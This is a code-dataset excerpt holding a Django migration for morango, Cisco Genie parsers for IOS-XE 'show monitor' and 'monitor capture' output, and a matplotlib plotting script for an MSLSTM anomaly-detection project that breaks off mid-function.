docker/alpine/kolibri/dist/morango/migrations/0004_auto_20170520_2112.py
sanmoy/kolibri-azure
9becf1c167225e6cf20f25b379f3d7f27486e56d
[ "MIT" ]
117
2016-09-13T22:21:12.000Z
2022-03-09T16:31:12.000Z
docker/alpine/kolibri/dist/morango/migrations/0004_auto_20170520_2112.py
sanmoy/kolibri-azure
9becf1c167225e6cf20f25b379f3d7f27486e56d
[ "MIT" ]
11
2016-09-13T20:13:58.000Z
2022-02-03T07:59:41.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2017-05-20 21:12 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [("morango", "0003_auto_20170519_0543")] operations = [ migrations.RemoveField(model_name="scopedefinition", name="key"), migrations.RemoveField(model_name="scopedefinition", name="serialized"), migrations.RemoveField(model_name="scopedefinition", name="signature"), migrations.DeleteModel(name="TrustedKey"), ]
31
80
0.715054
7d3ad3242f85e43b5cbae4ddb63f2cec498916c7
22,583
py
Python
src/genie/libs/parser/iosxe/show_monitor.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
src/genie/libs/parser/iosxe/show_monitor.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
src/genie/libs/parser/iosxe/show_monitor.py
ykoehler/genieparser
b62cf622c3d8eab77c7b69e932c214ed04a2565a
[ "Apache-2.0" ]
null
null
null
''' show_monitor.py IOSXE parsers for the following show commands: * show monitor * show monitor session {session} * show monitor session all * show monitor capture ''' # Python import re import xmltodict from netaddr import IPAddress, IPNetwork # Metaparser from genie.metaparser import MetaParser from genie.metaparser.util.schemaengine import Schema, Any, Or, Optional, And, Default, Use # import parser utils from genie.libs.parser.utils.common import Common # ========================================= # Schema for 'show monitor' # ========================================= class ShowMonitorSchema(MetaParser): ''' Schema for "show monitor" ''' schema = { 'session': {Any(): {'type':str, Optional('status'):str, Optional('source_ports'): {Any(): str, }, Optional('source_subinterfaces'): {Any(): str, }, Optional('source_vlans'): {Any():str, }, Optional('filter_access_group'): int, Optional('destination_ports'): str, Optional('destination_ip_address'): str, Optional('destination_erspan_id'): str, Optional('origin_ip_address'): str, Optional('source_erspan_id'): str, Optional('source_ip_address'): str, Optional('source_rspan_vlan'): int, Optional('dest_rspan_vlan'): int, Optional('mtu'): int, }, }, } # ========================================= # Parser for 'show monitor' # ========================================= class ShowMonitor(ShowMonitorSchema): ''' Parser for "show monitor" "show monitor session {session}" "show monitor session all" ''' cli_command = ['show monitor', 'show monitor session {session}', 'show monitor session all'] def cli(self, session="", all="", output=None): if output is None: if all: cmd = self.cli_command[2] elif session: cmd = self.cli_command[1].format(session=session) else: cmd = self.cli_command[0] out = self.device.execute(cmd) else: out = output # Init vars ret_dict = {} src_ports = False source_subintfs = False # Session 1 p1 = re.compile(r'Session +(?P<session>(\d+))') # Type : ERSPAN Source Session # Type: ERSPAN Source Session p2 = re.compile(r'^Type *: +(?P<type>([a-zA-Z\s]+))$') # Status : Admin Enabled # Status: Admin Enabled p3 = re.compile(r'^Status *: +(?P<status>([a-zA-Z\s]+))$') # Source Ports : p4_1 = re.compile(r'^Source +Ports +:$') # TX Only : Gi0/1/4 # Both : Gi0/1/4 p4_2 = re.compile(r'(?P<key>(TX Only|Both)) *: +(?P<src_val>(\S+))$') # Source Subinterfaces: p5_1 = re.compile(r'^Source +Subinterfaces:$') # Both: Gi2/2/0.100 #p5_2 = re.compile(r'^(?P<key>(Both)) *: +(?P<val>([\w\/\.]+))$') # Source VLANs : p6_1 = re.compile(r'^Source +VLANs +:$') # RX Only : 20 p6_2 = re.compile(r'^(?P<key>(RX Only)) *: +(?P<rx_val>(\d+))$') # Filter Access-Group: 100 p7 = re.compile(r'^Filter +Access-Group: +(?P<filter_access_group>(\d+))$') # Destination Ports : Gi0/1/6 Gi0/1/2 p8 = re.compile(r'^Destination +Ports +: +(?P<destination_ports>([a-zA-Z0-9\/\s]+))$') # Destination IP Address : 172.18.197.254 p9 = re.compile(r'^Destination +IP +Address +: +(?P<destination_ip_address>([0-9\.\:]+))$') # Destination ERSPAN ID : 1 p10 = re.compile(r'^Destination +ERSPAN +ID +: +(?P<destination_erspan_Id>([0-9]+))$') # Origin IP Address : 172.18.197.254 p11 = re.compile(r'^Origin +IP +Address *: +(?P<origin_ip_address>([0-9\.\:]+))$') # Source ERSPAN ID : 1 p12 = re.compile(r'^Source +ERSPAN +ID +: +(?P<source_erspan_Id>([0-9]+))$') # Source IP Address : 172.18.197.254 p13 = re.compile(r'^Source +IP +Address +: +(?P<source_ip_address>([0-9\.\:]+))$') # Source RSPAN VLAN : 100 p14 = re.compile(r'^Source +RSPAN +VLAN :+ (?P<source_rspan_vlan>(\d+))$') # Dest RSPAN VLAN : 100 p15 = re.compile(r'^Dest +RSPAN +VLAN :+ (?P<dest_rspan_vlan>(\d+))$') # MTU : 1464 p16 = re.compile(r'^MTU +: +(?P<mtu>([0-9]+))$') for line in out.splitlines(): line = line.strip() # Session 1 m = p1.match(line) if m: session = m.groupdict()['session'] session_dict = ret_dict.setdefault('session', {}).setdefault(session, {}) continue # Type : ERSPAN Source Session m = p2.match(line) if m: session_dict['type'] = str(m.groupdict()['type']) continue # Status : Admin Enabled m = p3.match(line) if m: session_dict['status'] = str(m.groupdict()['status']) continue # Source Ports : m = p4_1.match(line) if m: src_ports_dict = session_dict.setdefault('source_ports', {}) src_ports = True source_subintfs = False continue # TX Only : Gi0/1/4 # Both : Gi0/1/4 m = p4_2.match(line) if m: group = m.groupdict() key = group['key'].lower().replace(" ", "_") # Set keys if src_ports: src_ports_dict[key] = group['src_val'] elif source_subintfs: source_sub_dict[key] = group['src_val'] continue # Source Subinterfaces: m = p5_1.match(line) if m: source_sub_dict = session_dict.setdefault('source_subinterfaces', {}) src_ports = False source_subintfs = True continue # Source VLANs : m = p6_1.match(line) if m: source_vlan_dict = session_dict.setdefault('source_vlans', {}) continue # RX Only : 20 m = p6_2.match(line) if m: group = m.groupdict() key = group['key'].lower().replace(" ", "_") source_vlan_dict[key] = group['rx_val'] continue # Filter Access-Group: 100 m = p7.match(line) if m: session_dict['filter_access_group'] = int(m.groupdict()['filter_access_group']) continue # Destination Ports : Gi0/1/6 Gi0/1/2 m = p8.match(line) if m: session_dict['destination_ports'] = str(m.groupdict()['destination_ports']) continue # Destination IP Address : 172.18.197.254 m = p9.match(line) if m: session_dict['destination_ip_address'] = str(m.groupdict()['destination_ip_address']) continue # Destination ERSPAN ID : 1 m = p10.match(line) if m: session_dict['destination_erspan_id'] = str(m.groupdict()['destination_erspan_Id']) continue # Origin IP Address : 172.18.197.254 m = p11.match(line) if m: session_dict['origin_ip_address'] = str(m.groupdict()['origin_ip_address']) continue # Source ERSPAN ID : 1 m = p12.match(line) if m: session_dict['source_erspan_id'] = str(m.groupdict()['source_erspan_Id']) continue # Source IP Address : 172.18.197.254 m = p13.match(line) if m: session_dict['source_ip_address'] = str(m.groupdict()['source_ip_address']) continue # Source RSPAN VLAN : 100 m = p14.match(line) if m: session_dict['source_rspan_vlan'] = int(m.groupdict()['source_rspan_vlan']) continue # Dest RSPAN VLAN : 100 m = p15.match(line) if m: session_dict['dest_rspan_vlan'] = int(m.groupdict()['dest_rspan_vlan']) continue # MTU : 1464 m = p16.match(line) if m: session_dict['mtu'] = int(m.groupdict()['mtu']) continue return ret_dict # ========================================= # Schema for 'show monitor capture' # ========================================= class ShowMonitorCaptureSchema(MetaParser): ''' Schema for "show monitor capture" ''' schema = { 'status_information': {Any(): {'target_type': {'interface': str, 'direction': str, 'status': str, }, 'filter_details': {'filter_details_type':str, Optional('source_ip'):str, Optional('destination_ip'): str, Optional('protocol'): str, }, 'buffer_details': {'buffer_type': str, Optional('buffer_size'): int, }, Optional('file_details'): {Optional('file_name'): str, Optional('file_size'): int, Optional('file_number'): int, Optional('size_of_buffer'): int }, 'limit_details': {'packets_number': int, 'packets_capture_duaration': int, 'packets_size': int, Optional('maximum_packets_number'): int, Optional('packets_per_second'): int, 'packet_sampling_rate': int, }, }, }, } # ========================================= # Parser for 'show monitor capture' # ========================================= class ShowMonitorCapture(ShowMonitorCaptureSchema): ''' Parser for "show monitor capture" ''' cli_command = 'show monitor capture' def cli(self, output=None): if output is None: # Execute command on device out = self.device.execute(self.cli_command) else: out = output # Init vars ret_dict = {} # Status Information for Capture CAPTURE # Status Information for Capture NTP p1 = re.compile(r'^Status +Information +for +Capture +(?P<status_information>(\w+))$') # Target Type: p2 = re.compile(r'^Target +Type:+$') # Interface: Control Plane, Direction : both # Interface: GigabitEthernet0/0/0, Direction: both p2_1 = re.compile(r'^Interface: +(?P<interface>([\w\s\/]+)), +Direction *:+ (?P<direction>(\w+))$') # Status : Inactive p2_2 = re.compile(r'^Status +: +(?P<status>(\w+))$') # Filter Details: p3=re.compile(r'^Filter +Details:+$') # Capture all packets # IPv4 p3_1 = re.compile(r'^(?P<filter_details_type>([\w\s]+))$') # Source IP: any p3_2=re.compile(r'^Source +IP: +(?P<source_ip>(\w+))$') # Destination IP: any p3_3 = re.compile(r'^Destination +IP: +(?P<destination_ip>(\w+))$') #Protocol: any p3_4 = re.compile(r'^Protocol: +(?P<protocol>(\w+))$') # Buffer Details: p4 = re.compile(r'^Buffer +Details:+$') # Buffer Type: LINEAR (default) p4_1 = re.compile(r'^Buffer +Type: +(?P<buffer_type>(.*))$') # Buffer Size (in MB): 10 p4_2 = re.compile(r'^Buffer +Size +\(in MB\): +(?P<buffer_size>(\d+))$') # File Details: p5 = re.compile(r'^File +Details:+$') # Associated file name: flash:mycap.pcap p5_1 = re.compile(r'^Associated +file +name: +(?P<file_name>(.*))$') # Total size of files(in MB): 5 p5_2 = re.compile(r'^Total +size +of +files+\(in MB\): +(?P<file_size>(\d+))$') # Number of files in ring: 2 p5_3 = re.compile(r'^Number +of +files +in +ring: +(?P<file_number>(\d+))$') # Size of buffer(in MB): 10 p5_4 = re.compile(r'^Size +of +buffer+\(in MB\): +(?P<size_of_buffer>(\d+))$') # Limit Details: p6 = re.compile(r'^Limit +Details:+$') # Number of Packets to capture: 0 (no limit) p6_1 = re.compile(r'^Number +of +Packets +to +capture: +(?P<packets_number>(\d+))') # Packet Capture duration: 0 (no limit) p6_2 = re.compile(r'^Packet +Capture +duration: +(?P<packets_capture_duaration>(\d+))') # Packet Size to capture: 0 (no limit) p6_3 = re.compile(r'^Packet +Size +to +capture: +(?P<packets_size>(\d+))') # Maximum number of packets to capture per second: 1000 p6_4 = re.compile(r'^Maximum +number +of +packets +to +capture +per +second: +(?P<maximum_packets_number>(\d+))$') # Packets per second: 0 (no limit) p6_5=re.compile(r'Packets +per +second: +(?P<packets_per_second>(\d+))') # Packet sampling rate: 0 (no sampling) p6_6 = re.compile(r'^Packet +sampling +rate: +(?P<packet_sampling_rate>(\d+))') for line in out.splitlines(): line = line.strip() # Status Information for Capture CAPTURE # Status Information for Capture NTP m = p1.match(line) if m: status_information = m.groupdict()['status_information'] status_dict = ret_dict.setdefault('status_information', {}).setdefault(status_information, {}) continue # Target Type: m = p2.match(line) if m: target_type_dict = status_dict.setdefault('target_type',{}) continue # Interface: Control Plane, Direction : both # Interface: GigabitEthernet0/0/0, Direction: both m = p2_1.match(line) if m: target_type_dict['interface'] = str(m.groupdict()['interface']) target_type_dict['direction'] = str(m.groupdict()['direction']) continue # Status : Active m = p2_2.match(line) if m: target_type_dict['status'] = str(m.groupdict()['status']) continue # Filter Details: m=p3.match(line) if m: filter_dict = status_dict.setdefault('filter_details',{}) continue # Capture all packets m = p3_1.match(line) if m: filter_dict['filter_details_type']=str(m.groupdict()['filter_details_type']) continue # Source IP: any m = p3_2.match(line) if m: filter_dict['source_ip'] = str(m.groupdict()['source_ip']) continue # Destination IP: any m = p3_3.match(line) if m: filter_dict['destination_ip'] = str(m.groupdict()['destination_ip']) continue # Protocol: any m = p3_4.match(line) if m: filter_dict['protocol'] = str(m.groupdict()['protocol']) continue # Buffer Details: m = p4.match(line) if m: buffer_dict = status_dict.setdefault('buffer_details',{}) continue # Buffer Type: LINEAR (default) m = p4_1.match(line) if m: buffer_dict['buffer_type'] = str(m.groupdict()['buffer_type']) continue # Buffer Size (in MB): 10 m = p4_2.match(line) if m: buffer_dict['buffer_size'] = int(m.groupdict()['buffer_size']) continue # File Details: m = p5.match(line) if m: file_dict = status_dict.setdefault('file_details', {}) continue # Associated file name: flash:mycap.pcap m = p5_1.match(line) if m: file_dict['file_name'] = str(m.groupdict()['file_name']) continue # Total size of files(in MB): 5 m = p5_2.match(line) if m: file_dict['file_size'] = int(m.groupdict()['file_size']) continue # Number of files in ring: 2 m = p5_3.match(line) if m: file_dict['file_number'] = int(m.groupdict()['file_number']) continue # Size of buffer(in MB): 10 m = p5_4.match(line) if m: file_dict['size_of_buffer'] = int(m.groupdict()['size_of_buffer']) continue # Limit Details: m = p6.match(line) if m: limit_dict = status_dict.setdefault('limit_details', {}) continue # Number of Packets to capture: 0 (no limit) m = p6_1.match(line) if m: limit_dict['packets_number'] = int(m.groupdict()['packets_number']) continue # Packet Capture duration: 0 (no limit) m = p6_2.match(line) if m: limit_dict['packets_capture_duaration'] = int(m.groupdict()['packets_capture_duaration']) continue # Packet Size to capture: 0 (no limit) m = p6_3.match(line) if m: limit_dict['packets_size'] = int(m.groupdict()['packets_size']) continue # Maximum number of packets to capture per second: 1000 m = p6_4.match(line) if m: limit_dict['maximum_packets_number'] = int(m.groupdict()['maximum_packets_number']) continue # Packets per second: 0 (no limit) m = p6_5.match(line) if m: limit_dict['packets_per_second'] = int(m.groupdict()['packets_per_second']) continue # Packet sampling rate: 0 (no sampling) m = p6_6.match(line) if m: limit_dict['packet_sampling_rate'] = int(m.groupdict()['packet_sampling_rate']) continue return ret_dict #================================================= # Schema for 'monitor capture {capture_name} stop' #================================================= class MonitorCaptureStopSchema(MetaParser): schema = { 'capture_duration': int, 'packets_received': int, 'packets_dropped': int, 'packets_oversized': int, 'bytes_dropped_in_asic': int, 'stopped_capture_name': str } #================================================= # Parser for 'monitor capture {capture_name} stop' #================================================= class MonitorCaptureStop(MonitorCaptureStopSchema): cli_command = 'monitor capture {capture_name} stop' def cli(self, capture_name=None, output=None): if output is None: output = self.device.execute(self.cli_command.format(capture_name=capture_name)) # Capture duration - 56 seconds p1 = re.compile(r'Capture\sduration\s\-\s+(?P<capture_duration>\d+)\s+seconds') # Packets received - 0 p2 = re.compile(r'Packets\sreceived\s+\-\s+(?P<packets_received>\d+)') # Packets dropped - 0 p3 = re.compile(r'Packets\sdropped\s+\-\s+(?P<packets_dropped>\d+)') # Packets oversized - 0 p4 = re.compile(r'Packets\soversized\s+\-\s+(?P<packets_oversized>\d+)') # Bytes dropped in asic - 0 p5 = re.compile(r'Bytes\sdropped\sin\sasic\s+\-\s+(?P<bytes_dropped_in_asic>\d+)') # Stopped capture point : cap1 p6 = re.compile(r'Stopped\scapture\spoint\s\:\s+(?P<stopped_capture_name>\S+)') ret_dict = {} for line in output.splitlines(): line = line.strip() # Capture duration - 56 seconds m = p1.match(line) if m: capture_duration = m.groupdict()['capture_duration'] ret_dict.update({'capture_duration': int(capture_duration)}) continue # Packets received - 0 m = p2.match(line) if m: packets_received = m.groupdict()['packets_received'] ret_dict.update({'packets_received': int(packets_received)}) continue # Packets dropped - 0 m = p3.match(line) if m: packets_dropped = m.groupdict()['packets_dropped'] ret_dict.update({'packets_dropped': int(packets_dropped)}) continue # Packets oversized - 0 m = p4.match(line) if m: packets_oversized = m.groupdict()['packets_oversized'] ret_dict.update({'packets_oversized': int(packets_oversized)}) continue # Bytes dropped in asic - 0 m = p5.match(line) if m: bytes_dropped_in_asic = m.groupdict()['bytes_dropped_in_asic'] ret_dict.update({'bytes_dropped_in_asic': int(bytes_dropped_in_asic)}) continue # Stopped capture point : cap1 m = p6.match(line) if m: stopped_capture_name = m.groupdict()['stopped_capture_name'] ret_dict.update({'stopped_capture_name': stopped_capture_name}) continue return ret_dict
34.113293
122
0.48842
c680a27e700c14fb00ea4a0c4f05ca80be97f0bb
15,886
py
Python
visualize.py
designer357/MSLSTM
923f29f5a274ae41dbfe79d99e1ea28bb0cf5109
[ "MIT" ]
14
2017-07-21T18:31:21.000Z
2022-01-21T11:39:45.000Z
visualize.py
designer357/MSLSTM
923f29f5a274ae41dbfe79d99e1ea28bb0cf5109
[ "MIT" ]
3
2019-06-02T13:00:58.000Z
2020-04-24T14:40:50.000Z
visualize.py
designer357/MSLSTM
923f29f5a274ae41dbfe79d99e1ea28bb0cf5109
[ "MIT" ]
6
2018-02-22T08:26:11.000Z
2022-03-08T23:32:06.000Z
import matplotlib #matplotlib.use('GTKAgg') #matplotlib.rcParams['backend'] = 'GTKCairo' import os import loaddata import numpy as np #import seaborn as sns import matplotlib.pyplot as plt import numpy as np from matplotlib import cm import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from mpl_toolkits.mplot3d import axes3d, Axes3D import pylab as p from sklearn import decomposition def set_style(): plt.style.use(['seaborn-paper']) matplotlib.rc("font", family="serif") set_style() def epoch_acc_plotting(filename,case_list,sequence_window,learning_rate,train_acc_list,val_acc_list): if not os.path.isdir(os.path.join(os.getcwd(),'picture')): os.makedirs(os.path.join(os.getcwd(),'picture')) epoch = len(train_acc_list[0]) color_list = ['y', 'g','#FF8C00','#FD8CD0','c', 'b', 'r', 'm'] #color_list = ['y', 'g', 'c', 'b', 'r', 'm'] x = [i+1 for i in range(epoch)] plt.figure() for tab in range(len(case_list)): plt.plot(x,train_acc_list[tab],color_list[tab],label=case_list[tab] + ' train acc') plt.plot(x, val_acc_list[tab], color_list[len(case_list)+tab],label=case_list[tab] +' val acc') plt.xlabel('Epoch',fontsize=12) if 'AS' in filename: plt.ylim(0.3,1.05) else: plt.ylim(0.05,1.05) plt.ylabel('Accuracy',fontsize=12) plt.tick_params(labelsize=12) plt.grid() plt.legend(loc='lower right',fontsize=8) plt.title(filename.split('.')[0].replace('HB_','')+'/sw: '+str(sequence_window)) plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Epoch_ACC_"+filename + "_SW_"+str(sequence_window)+".pdf"),dpi=400) #if corss_val_label == 0: #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"2Tab_A_Epoch_ACC_"+filename + "_SW_"+str(sequence_window)+".pdf"),dpi=400) #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Tab_A_Epoch_ACC_"+filename + "_SW_"+str(sequence_window)+"_LR_"+str(learning_rate)+".png"),dpi=400) #else: #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"2Tab_B_Epoch_ACC_" + filename + "_SW_"+str(sequence_window)+".pdf"), dpi=400) #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Tab_B_Epoch_ACC_" + filename + "_SW_"+str(sequence_window)+"_LR_"+str(learning_rate)+".png"), dpi=400) def epoch_loss_plotting(filename,case_list,sequence_window,learning_rate,train_loss_list,val_loss_list): if not os.path.isdir(os.path.join(os.getcwd(),'picture')): os.makedirs(os.path.join(os.getcwd(),'picture')) epoch = len(train_loss_list[0]) color_list = ['y', 'g','#FF8C00','#FD8CD0','c', 'b', 'r', 'm'] x = [i+1 for i in range(epoch)] plt.figure() for tab in range(len(case_list)): plt.plot(x,train_loss_list[tab],color_list[tab],label=case_list[tab] + ' train loss') plt.plot(x, val_loss_list[tab], color_list[len(case_list)+tab],label=case_list[tab] +' val loss') plt.xlabel('Epoch',fontsize=12) plt.ylabel('Loss',fontsize=12) plt.grid() plt.tick_params(labelsize=12) plt.legend(loc='upper right',fontsize=8) plt.title(filename.split('.')[0].replace('HB_','')+'/sw: '+str(sequence_window)) plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Epoch_Loss_"+filename+"_SW_"+str(sequence_window)+"_LR_"+".pdf"),dpi=400) #if cross_val_label == 0: #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"2Tab_A_Epoch_Loss_"+filename+"_SW_"+str(sequence_window)+"_LR_"+".pdf"),dpi=400) #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Tab_A_Epoch_Loss_"+filename+"_SW_"+str(sequence_window)+"_LR_"+str(learning_rate)+".png"),dpi=400) #else: #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"2Tab_B_Epoch_Loss_" + filename + "_SW_" + str(sequence_window) + ".pdf"), dpi=400) #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Tab_B_Epoch_Loss_" + filename + "_SW_" + str(sequence_window)+"_LR_"+str(learning_rate) + ".png"), dpi=400) def weight_plotting(filename,sequence_window,corss_val_label,learning_rate,weight_list): if not os.path.isdir(os.path.join(os.getcwd(),'picture')): os.makedirs(os.path.join(os.getcwd(),'picture')) weight_list_new = np.transpose(weight_list) #a,b,c = weight_list_new.shape subtitle = ['a', 'b', 'c', 'd', 'e', 'f','g','h','i','j'] X = [i for i in range(len(weight_list_new[0][0]))] plt.figure(figsize=(24,12),dpi=600) count = 0 for tab in range(10): index = tab plt.subplot(1,4,count+1) if tab == 9: index = -1 elif tab == 8: index = -2 plt.plot(X,weight_list_new[0][index]) plt.xlabel('Epoch\n('+subtitle[count]+') Scale '+str(tab+1), fontsize=12) plt.ylabel('Weight', fontsize=12) plt.grid() count += 1 """ plt.subplot(2,5,2) plt.plot(X,weight_list_new[0][1]) plt.xlabel('Epoch\n('+subtitle[1]+')', fontsize=10) plt.ylabel('Scale Weight', fontsize=10) plt.grid() plt.subplot(2,5,3) plt.plot(X,weight_list_new[0][2]) plt.xlabel('Epoch\n('+subtitle[1]+')', fontsize=10) plt.ylabel('Scale Weight', fontsize=10) plt.grid() """ plt.tight_layout() if corss_val_label == 0: plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"ATab_A_Weight_list_" + filename + "_SW_" + str(sequence_window) +"_LR_"+str(learning_rate) + ".pdf"), dpi=600) #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Tab_A_Weight_list_" + filename + "_SW_" + str(sequence_window) +"_LR_"+str(learning_rate) + ".png"), dpi=600) else: plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"ATab_B_Weight_list_"+filename+"_SW_"+str(sequence_window)+".pdf"),dpi=600) #plt.savefig(os.path.join(os.path.join(os.getcwd(),'picture'),"Tab_B_Weight_list_"+filename+"_SW_"+str(sequence_window)+".png"),dpi=600) def curve_plotting_withWindow(dataX,dataY,feature,name): y = list(dataX[0][:,feature]) for i in range(1,len(dataX)): y.append(dataX[i][:,feature][-1]) x = [i for i in range(len(y))] z = [i for i in range(len(dataY)) if int(dataY[i][0]) == 1] print(len(y)) plt.plot(x,np.array(y),'b') plt.plot(z,np.array(y)[z],'r.') plt.tight_layout() plt.grid() plt.show() plt.savefig(name + '.pdf', dpi=400) def curve_plotting(dataX,dataY,name,method): np.random.seed(5) target_names = ['Regular','Anomalous'] centers = [[1, 1], [-1, -1]] X = dataX y = dataY plt.clf() plt.cla() pca = decomposition.PCA(n_components=2) pca.fit(X) X = pca.transform(X) plt.figure() colors = ['navy', 'turquoise', 'darkorange'] try: y = loaddata.reverse_one_hot(y) except: pass print(y[0]) for color, i, target_name in zip(colors, [0, 1], target_names): plt.scatter(X[y == i, 0], X[y == i, 1], color=color, alpha=.8, lw=2, label=target_name) plt.legend(loc='lower right', fontsize = 16, shadow=False, scatterpoints=1) plt.tick_params(labelsize = 15) plt.grid() #plt.title('PCA of the dataset') plt.savefig(name + method +"_PCA.pdf", dpi=400) plt.show() def plotAUC(results,method_list,filename): plt.figure() #color_list = ['y', 'g', '#FF8C00', 'c', 'b', 'r', 'm'] color_list = ['y', 'g','#FF8C00','#FD8CD0','c', 'b', 'r', 'm'] for tab in range(len(method_list)): fpr = results[method_list[tab]]['FPR'] tpr = results[method_list[tab]]['TPR'] auc = results[method_list[tab]]['AUC'] plt.plot(fpr, tpr, color_list[tab], label=method_list[tab] + ' ROC curve (area = %0.2f)' % auc) plt.plot([0, 1], [0, 1], 'k--') plt.xlim([0.0, 1.0]) plt.ylim([0.0, 1.05]) plt.xlabel('False Positive Rate',fontsize=12) plt.ylabel('True Positive Rate',fontsize=12) plt.title('Receiver operating characteristic of '+filename.replace('HB_','').split('.')[0],fontsize=12) plt.legend(loc="lower right", fontsize=10) plt.tick_params(labelsize=12) plt.grid() #plt.savefig("_AUC.png", dpi=800) plt.savefig(filename+"TP_FP_AUC.pdf", dpi=800) #------------------------------------------Plotting STAT----------------------------------------------------- def _plotting(filename, subtitle, method,method_dict): temp = [] try: with open(os.path.join(os.path.join(os.getcwd(),'stat'), filename))as fin: for each in fin.readlines(): temp.append(int(each)) except: with open(os.path.join(os.path.join(os.getcwd(),'stat'), filename).replace('Predict.txt','Predict'))as fin: for each in fin.readlines(): temp.append(int(each)) temp = np.array(temp) X = [i + 1 for i in range(len(temp))] X = np.array(X) plt.xlim(0, len(X)) plt.ylim(-0.5, 2.0) #if 'True' in method: #p1_,= plt.plot(X[temp==0], temp[temp==0], 'b.', markersize=2, label='Regular') #l1 = plt.legend([p1_], ["Regular"]) #p2_,= plt.plot(X[temp==1], temp[temp==1], 'r.', markersize=2,label='Anomalous') #plt.legend() #plt.gca().add_artist(l1) #l2 = plt.legend([p2_], ["Anomalousppppppp"]) #plt.gca().add_artist(l1) if 1>0: p1, = plt.plot(X[temp==1], temp[temp==1], 'b.', markersize=4, label='Regular') p2, = plt.plot(X[temp==0], temp[temp==0], 'r.', markersize=4, label='Anomalous') l1 = plt.legend([p1], ["Regular"], loc=2,fontsize=10) plt.gca().add_artist(l1) l2 = plt.legend([p2], ["Anomalous"], loc=0,fontsize=10) plt.gca().add_artist(l2) #plt.legend(loc=1, fontsize=12) #plt.legend(bbox_to_anchor=(1, 1), #bbox_transform=plt.gcf().transFigure) #plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.) try: plt.xlabel('(' + subtitle + ')' + " " + method_dict[method]+' Predicted',fontsize=10) except: if 'True' in method: plt.xlabel('(' + subtitle + ')' + " " + method,fontsize=10) else: plt.xlabel('(' + subtitle + ')' + " " + method+' Predicted',fontsize=10) x = (len(X) / 2) #plt.xticks([1, 400, 800, 1200, 1600, 2000, 2500]) plt.xticks([1, 100, 200, 300, 400, 500, 600,700,800]) plt.tick_params(labelsize=10) # plt.grid(b=True, which='minor', color='k', linestyle='-', alpha=0.1) # plt.minorticks_on() #plt.grid() plt.grid(b=True, which='minor') plt.axvline(x, ymin=-1, ymax=2, linewidth=2, color='g') # plt.title('Testing Sequence') # plt.axvline(x+30, ymin=-1, ymax=2, linewidth=2, color='g') #plt.title('Testing Sequence') # plt.grid() def plotStat(filename, Method_List,Method_Label): subtitle = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i'] plt.figure(figsize=(15, 4), dpi=400) #plt.figure() plt.subplot(2, 4, 1) filename_ = "StatFalseAlarm_" + filename + "_True.txt" _plotting(filename_, subtitle[0], "True Label",Method_Label) for tab in range(len(Method_List)): filename_ = "StatFalseAlarm_" + filename + "_" + Method_List[tab] + "_" + "_Predict.txt" plt.subplot(2, 4, tab + 2) _plotting(filename_, subtitle[tab + 1], Method_List[tab],Method_Label) plt.tight_layout() plt.savefig("StateFalseAlarm_" + filename + ".pdf", dpi=400) plt.show() #------------------------------------------Plotting Wavelet----------------------------------------------------- def plotWavelet(filename_result,filename_result2): filename_list_label = ["AS_Leak","Slammer","Nimda","Code_Red_I"] #wave_type_db=[81.66,82.79,85.47,80.25,80.90,81.55,82.80,87.57,92.82,93.35,95.64] #wave_type_haar=[81.66,82.79,85.47,80.25,80.90,81.55,82.80,87.57,92.82,93.35,95.64] color_type = ['y.', 'gs','#FF8C00','#FD8CD0','c>', 'b<', 'r.', 'm*'] #wave_type_sym= [] with open("aaa.txt","a")as fout: for eachk,eachv in filename_result.items(): fout.write(eachk) fout.write(''.join(eachv)) for eachk,eachv in filename_result2.items(): fout.write(eachk) fout.write(''.join(eachv)) count = 0 for eachk,eachv in filename_result.items(): X = [i+2 for i in range(len(eachv))] eachv = map(lambda a:100*a,eachv) print(eachv) plt.plot(X,eachv,color_type[count],label=filename_list_label[eachk]) count += 1 plt.legend(loc="lower right",fontsize=12) plt.ylabel("Accuracy",fontsize=12) #if "AS" in Parameters["filename"]: #plt.ylim(35,75) #else: #plt.ylim(50,100) plt.ylim(0,100) plt.tick_params(labelsize=12) plt.xlabel("Scale Levels",fontsize=12) plt.grid() plt.savefig("Wave_Let_"+'_'+str(0)+'_'+".df",dpi=400) plt.title("Wavelet Family: Daubechies/Filter Length: 2") #plt.show() def MC_Plotting(Data,row,col,x_label='x_label',y_label='y_label',suptitle='super_title',save_fig='save_fig'): X = [i+1 for i in range(len(Data[0]))] plt.figure(figsize=(row*col*4,col)) for tab in range(row*col): plt.subplot(row,col,tab+1) plt.plot(X,Data[tab],'s-') plt.xlabel(x_label,fontsize=10) plt.ylabel(y_label,fontsize=10) plt.ylim(40,100) plt.grid() plt.tick_params(labelsize=10) plt.tight_layout() plt.suptitle(suptitle) plt.savefig(save_fig,dpi=200) plt.show() #A1 = [51.5,54.2,55.1,55.4,55.8,57.3,49.6,52.2,63.4,63.5]#"AS_LEAK" #A2 = [50.6,53.9,55.3,54.3,56.8,52.7,54.7,52.1,63.3,63.3] #A3 = [50.4,54.5,55.7,54.3,56.1,51.0,54.6,51.9,63.3,63.3] #A = [] #A.append(A1) #A.append(A2) #A.append(A3) #MC_Plotting(A,1,3) def plot3D(X=[],Y=[],Z=[]): X = [1, 2, 3, 4, 5, 6] Y = [10, 20, 30, 40] X = np.array(X) Y = np.array(Y) Z1 = [69.28982, 